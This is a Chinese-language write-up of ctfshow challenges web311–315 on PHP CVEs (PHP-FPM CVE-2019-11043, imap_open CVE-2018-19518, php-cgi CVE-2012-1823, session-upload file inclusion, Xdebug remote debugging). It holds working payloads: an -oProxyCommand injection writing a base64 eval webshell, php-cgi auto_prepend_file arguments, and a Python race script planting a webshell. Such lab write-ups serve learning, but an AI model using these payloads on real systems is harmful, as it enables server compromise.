写在前面:

这里来记录一下ctfshow|全部phpCVE(web311,web312,web313,web314,web315)的过程

小水一下

WEB311

首先打开题目进行抓包:

可以看到有用的信息:

  • Server:niginx/1.18.0(ubuntu)
  • X-Powered-By:PHP/7.1.33dev

我们直接去查找相关的CVE漏洞

找到的大多数就是CVE-2019-11043

CVE-2019-11043

CVE-2019-11043漏洞介绍

纰漏:Addressing the PHP-FPM Vulnerability (CVE-2019-11043) with NGINX – NGINX

漏洞原因:

该漏洞位于PHP-FPM模块的env_path_info函数,在特定的nginx + php-fpm配置中,web用户就可能会进行代码执行。该漏洞需要在nginx.conf中进行特定配置才能触发。使用%0a(换行符)来破坏正则,从而使得PATH_INFO为空

location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
   

漏洞范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0-7.3 版本

漏洞复现:

首先以CTFSHOW平台web311题目作为环境

利用POC(提前有GO环境)

neex/phuip-fpizdam: Exploit for CVE-2019-11043 (github.com)

get github.com/neex/phuip-fpizdam

然后

cd phuip-fpizdamgo get -v && go build

执行:

go run . url/index.php

返回比较慢 正常情况应该是

然后就可以执行回显flag啦

WEB312

首先看题目打开页面

常规来说 第一步先看标头信息

和上一题打法相同 先去查找PHP版本的CVE

X-Powered-By显示php版本为5.6.38

经过查找 确认漏洞为CVE-2018-19935

CVE-2018-19935

漏洞详细参考:

NVD – CVE-2018-19518 (nist.gov)

简介:

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

首先漏洞成因可自己搜索 不过这里需要了解

什么是IMAP:

邮件访问协议!IMAP协议解析 – 知乎 (zhihu.com)

漏洞利用

参考:如何利用imap绕过PHP中的disable_functions(CVE-2018-19518)|NOSEC安全讯息平台 – 白帽汇安全研究院

CVE-2018-19518 PHP imap_open函数任意命令执行漏洞复现 – biiNG# – 博客园 (cnblogs.com)

漏洞复现

参考利用可知ssh命令中可以通过设置-oProxyCommand=来调用第三方命令 攻击者通过注入注入这个参数 最终将导致命令执行漏洞

这种执行比较简单 这题目也有好几种思路 总之就是构建执行语句 发送请求 服务器就会响应

这里我们用写入shell的方法

通过参考给出的POC

hostname=x+-oProxyCommand%3decho%09通过base64加密过的执行语句|base64%09-d|sh}

我们将一句话木马

<?php eval($_POST[hello]);?>

经过base64编码得到

PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==

使用echo执行解码并且写入shell语句

echo "PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==" | base64 -d >/var/www/html/s7.php

因为我们要通过头部传输 所以应该将上面的代码先结果base64编码在转换为url编码

hostname=x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiYUdWc2JHOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvczcucGhw|base64%09-d|sh}

通过burpsuite写入

用中国蚂蚁剑链接

注意:这里的编码解码应该设置为bese64

拿到flag

WEB313

首先 还是常规思路 找到PHP版本 去搜索对应的都有那些漏洞

PHP的版本为5.4.1 做这道题目的时候 前期不是那么顺利 因为自己在找的过程重发现这一版本纯在很多漏洞,而且有一些难以验证 所以浪费了一些时间 不过在这个过程中也学到了许多 其中还包含了相对常见的两个漏洞

CVE-2015-2348

CVE-2019-11043

当时确实没有想到那么早的

CVE-2012-1823

详情可以参考P神的PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌 (leavesongs.com)

利用也可以参考CVE-2012-1823漏洞复现_muddlelife的博客-CSDN博客

漏洞利用

url/index.php?-s如果可以爆出来源码 说明漏洞纯在

那么,可控命令行参数,能做些什么事。

发现cgi模式下有如下一些参数可用:

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h-? 显示帮助

根据

当然也有很多其他的办法 我尝试了很多都不行 看了hint 通过构造cgi中参数达到命令执行的目的 在这题目我使用MSF进行执行 但是却返回了错误

那就用auto_prepend_file来制造任意文件包含漏洞。

-d allow_url_include=on -d auto_prepend_file=php://input

然后就可以远程代码执行了

这里又遇到一个问题 我不知道flag在哪里 无法反弹shell 应该是没有权限 我也不想在这里浪费太多时间

开始翻翻看

如果不出意外 flag就在somewhere文件中(中间靶场掉了一次 重新打开了)

WEB314

打开这道题目 显示

<?phperror_reporting(0);highlight_file(__FILE__);//phpinfo
$file = $_GET['f'];if(!preg_match('/\:/',$file)){include($file);
}

因为过滤了: 所以不能用伪协议了 不过这道题目方法还是蛮多的

可以使用PHP_SESSION_UPLOAD_PROGRESS文件包含,去执行命令

因为使用的是Nginx 服务器 所以默认日志文件路径为/var/log/nginx/access.log

然后写了好几次shell 不清楚为什么没写入

查看phpinfo

发现session上传文件

利用一下四代机您发多少师傅写的脚本

# coding=utf-8
import requests
import io
import threading
url = 'url/'
def write(session):#data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["harker"]);?>'}#传个一句话木马while event.isSet():f = io.BytesIO(b'a'*1024*50)session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('harker.txt',f)})def read(session):data = {'harker':'system("ls");'}#利用一句话木马while event.isSet():response = session.post(url+'?f=/tmp/sess_flag',data=data)#这里十post请求,就是这里我搞错了,弄的我反复检查!if 'harker.txt' in response.text:#判断print(response.text)event.clear()#终止进程breakelse:passif __name__=='__main__':event = threading.Event()event.set()with requests.session() as session:for i in range(10):#开启十条进程threading.Thread(target=write,args=(session,)).start()for i in range(10):threading.Thread(target=read,args=(session,)).start()

成功写入

WEB315

打开前 看到hint

debug开启,端口9000

说明这就是个与debug相关的漏洞

搜索一下XDebug 远程调试漏洞

XDebug 远程调试漏洞

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并且设置

remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

相关资料参考P神

vulhub/php/xdebug-rce at master · vulhub/vulhub (github.com)

利用给出的脚本 在公网服务器上执行就可以了

vulhub/exp.py at master · vulhub/vulhub · GitHub

phpCVE全部结束

总结

在实战中或者在做相关的题目的过程中 要灵活的运用搜索引擎

注意PHP版本 查看相关系统版本 传输头部信息 以及漏洞的产生组件,相关函数,配置等。

CTFSHOW-phpCVE Writeup相关推荐

  1. CTFshow phpCVE

    目录 CTFshow phpCVE web311-CVE-2019-11043 web312-CVE-2018-19518 PHP imap_open函数任意命令执行漏洞 web313-CVE-201 ...

  2. ctfshow 千字文 writeup

    ctfshow 萌新赛 misc writeup 千字文 stegsovle打开发现有一个通道长这样 导出该通道图片 首先把白边切掉 #cut.py from PIL import Image img ...

  3. ctfshow部分writeup

    web 签到观己WEB_AK赛 源码: <?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $ ...

  4. ctfshow萌新红包题writeup

    ctfshow萌新专属红包题writeup 题目来源:https://ctf.show/ 这一题是ctfshow平台上面2月17日更新的一个萌新红包题,当天在官方交流群内知道晚上会有一个萌新红包题之后 ...

  5. ctfshow七夕杯 writeup

    文章目录 杂项签到 你会lsb吗 海盗的密码 密码签到 社工签到 迷失的大象 大飞机 杂项签到 flag在最底部 你会lsb吗 从后往前看是504b0304,需要将内容给反转一下 with open( ...

  6. ctfshow 月饼杯(第二届) 部分WriteUp

    Misc 杂项签到 右键附件,从链接另存文件.然后用16进制编辑器或者你想用notepad也彳亍看文件尾,有一串base64,解码即可. ctfshow{we1come_to_mooncake_cap ...

  7. CTFSHOW新手杯MISC部分WriteUp

    引文 之前复现了CTFSHOW新人杯的WEB方向部分题目,今天就复现一下MISC为主的题目,可能有些读者不太明白MISC方向是什么意思,简单来说就是"杂项",包括:隐写,压缩包处理 ...

  8. ctfshow baby杯 六一快乐 部分MISC WriteUp

    baby baby babyLSB 首解:zsteg+reverse+猜测 然后猜了个LSB ctfshow{WeiShenMeBuYaoLSB} 预期: 因为用stegsolve的时候g通道发现有内 ...

  9. ctfshow 吃瓜杯八月赛 Misc WriteUp

    目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到 别问 问就是玩游戏 套神说的 ...

  10. ctfshow CMS系列writeup(web477-web479)

    0x01 Web 477 打开页面发现是CmsEasy建站系统,题目提示RCE,百度寻找对应相关漏洞,多方查找后发现版本是v5.7,找到对应版本后进行搜索就变得很简单了. 找登录后台,/admin进入 ...

最新文章

  1. Webpack 代码分离
  2. 面试官:说说一条查询sql的执行流程和底层原理?
  3. go 变量在其中一个函数中赋值 另一个函数_go 学习笔记之仅仅需要一个示例就能讲清楚什么闭包...
  4. TreeView的异步延时加载
  5. 如何安全的在不同工程间安全地迁移asset数据?三种方法
  6. Clion 2020.2 使用 C++20 等C++标准 编程
  7. 从键盘输入一个正整数(不多于5位),计算该正整数与789之和(记为sum)
  8. qq空间说说服务器维护,如何解决QQ空间说说发表不了
  9. CANOpen同步报文
  10. Leetcode每日一题:38.Count and Say(外观数列)
  11. Linux命令行大全(第二版)
  12. Carry On My Wayward Son -- Kansas
  13. 关于Pidgin和webqq
  14. 八达岭长城和龙庆峡之游
  15. SQL查询语句可以执行,但是提示对象名无效
  16. linux嗅探网站结构,Linux下的Dsniff嗅探浅析
  17. geekeyes kali安装edb
  18. Zabbix最新6.2安装及使用!
  19. JavaScript实现购物车计算价格功能
  20. matplotlib画会动的椭圆

热门文章

  1. ubuntu之更改ubuntu和windows双系统启动顺序
  2. 时文阅读-03-23
  3. 【实验记录】--大疆智图的辐射定标
  4. 深圳社保转移(跨省)杭州
  5. 夜神模拟器使用termux安装Ubuntu系统
  6. Java 补全正负号
  7. 如何使用Vegas进行素材编辑?
  8. c语言模拟随机投点计算概率,我写的蒲丰投针的程序(用概率学计算π),有问题求教...
  9. Effective C++ 3nd笔记——资源管理
  10. 开源中国翻译贡献排名靠谱吗?